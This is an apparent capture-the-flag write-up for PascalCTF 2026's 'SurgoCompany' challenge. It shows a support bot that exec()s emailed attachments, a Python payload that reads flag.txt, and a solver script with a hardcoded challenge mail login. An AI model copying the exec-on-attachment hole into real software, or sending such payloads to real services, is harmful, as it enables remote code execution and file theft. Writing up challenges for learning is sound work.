PascalCTF 2026 - SurgoCompany

Challenge Overview

Name: SurgoCompany Category: Misc Objective: Exploit a vulnerability in the customer service bot to read the flag.txt file.

Vulnerability Analysis

The challenge provided the source code for the customer service bot. The critical function is check_attachment, which is called when the bot receives a reply from a user with a matching Ticket PID.

1
def check_attachment(filepath):
2
    if filepath is None:
3
        return False
4

5
    print(f"Checking attachment '{filepath}'...")
6

7
    # Read the attachment content
8
    try:
9
        with open(filepath, "r") as f:
10
            content = f.read()
11
    except Exception as e:
12
        # ... error handling ...
13
        return
14

15
    # Execute the attachment's code
16
    try:
17
        # VULNERABILITY: Arbitrary Code Execution
18
        exec(content)
19
        print("The attachment did not pass the security check.")
20
        print("Removing the attachment...")
21

22
    except Exception as e:
23
        print("The attachment passed the security check.")
24
        # ...

The bot takes the content of the email attachment and directly passes it to Python’s exec() function. This is a classic Remote Code Execution (RCE) vulnerability. If we can upload a Python script as an attachment, the bot will execute it.

Exploitation Strategy

The Plan

1. Initiate Session: Connect to the challenge server (surgobot.ctf.pascalctf.it:6005) to generate a ticket. The server sends an email to the provided address with a Ticket PID.
2. Receive Email: Access the email account to find the message from the bot and extract the PID.
3. Send Exploit: Reply to the bot (or send a new email) with the correct subject format (Surgo Company Customer Support - Request no. <PID>) and attach a Python script that reads flag.txt.
4. Capture Output: The bot’s output (stdout of exec) is piped back to the challenge connection, allowing us to see the flag.

Obstacles

Initially, I attempted to use standard IMAP/SMTP libraries (imaplib, smtplib) to handle the emails. However, connection attempts to standard mail ports (993, 465, 587, 25) on surgo.ctf.pascalctf.it timed out. It appeared that direct access to the mail server ports was blocked from the outside.

Solution: Webmail Automation

The challenge provided a webmail interface at https://surgo.ctf.pascalctf.it, running Roundcube. Since the HTTP/HTTPS ports were accessible, I pivoted to automating the webmail interface to send the exploit.

I developed a Python script (solve_roundcube.py) that acts as a custom Roundcube client:

1. Authentication: Logs into Roundcube using requests by parsing CSRF tokens (_token).
2. Inbox Polling: Uses Roundcube’s AJAX API (_action=list) to retrieve email headers in JSON format. This was necessary because the standard HTML view didn’t reliably show new messages immediately due to caching/loading behaviors.
3. Dynamic Parsing: Extracts the Ticket PID and the bot’s sender address directly from the email headers.
4. Sending the Exploit:
   • Uses the Roundcube compose and upload actions to attach the payload.
   • Sends the email using the send action, ensuring the correct _from identity and _remote=1 parameters were set to emulate a real browser request.
   • Important: We sent a fresh email instead of using the “Reply” function to ensure a clean subject line and avoid potential threading issues that caused the bot to miss previous attempts.

The Payload (exploit.py)

1
import os
2
print("FLAG_START")
3
try:
4
    print(open("flag.txt").read())
5
except Exception as e:
6
    print(f"Err: {e}")
7
    # Fallback: list directory if flag filename is different
8
    print("DIR_LIST:")
9
    print(os.listdir("."))
10
print("FLAG_END")

Solver Script

The final solver script automates the entire interaction:

1
import requests
2
from bs4 import BeautifulSoup
3
from pwn import *
4
import time
5
import re
6

7
URL = 'https://surgo.ctf.pascalctf.it'
8
USER = 'user-rct36k68@skillissue.it'
9
PASS = 'NroMwieCU8zFmuSc'
10
HOST = 'surgobot.ctf.pascalctf.it'
11
PORT = 6005
12

13
s = requests.Session()
14

15
# ... (Helper functions for login, token extraction, and Roundcube actions) ...
16

17
def main():
18
    if not login(): return
19

20
    print("[*] Connecting to challenge...")
21
    p = remote(HOST, PORT)
22
    p.recvuntil(b'Enter your email address:')
23
    p.sendline(USER.encode())
24

25
    # ... (Polling loop to find email and extract PID/Sender) ...
26

27
    if target_pid:
28
        sender = found_sender if found_sender else 'surgobot@skillissue.it'
29
        send_fresh_email(target_pid, sender)
30

31
    # Capture flag
32
    try:
33
        while True:
34
            line = p.recvline(timeout=2)
35
            if b'FLAG_START' in line:
36
                flag = p.recvline().decode().strip()
37
                print(f"\n[!!!] FLAG: {flag}\n")
38
                break
39
    except KeyboardInterrupt: pass
40
    p.close()
41

42
if __name__ == '__main__':
43
    main()

Results

Running the solver successfully retrieved the flag:

[!!!] FLAG: pascalCTF{ch3_5urG4t4_d1_ch4ll3ng3}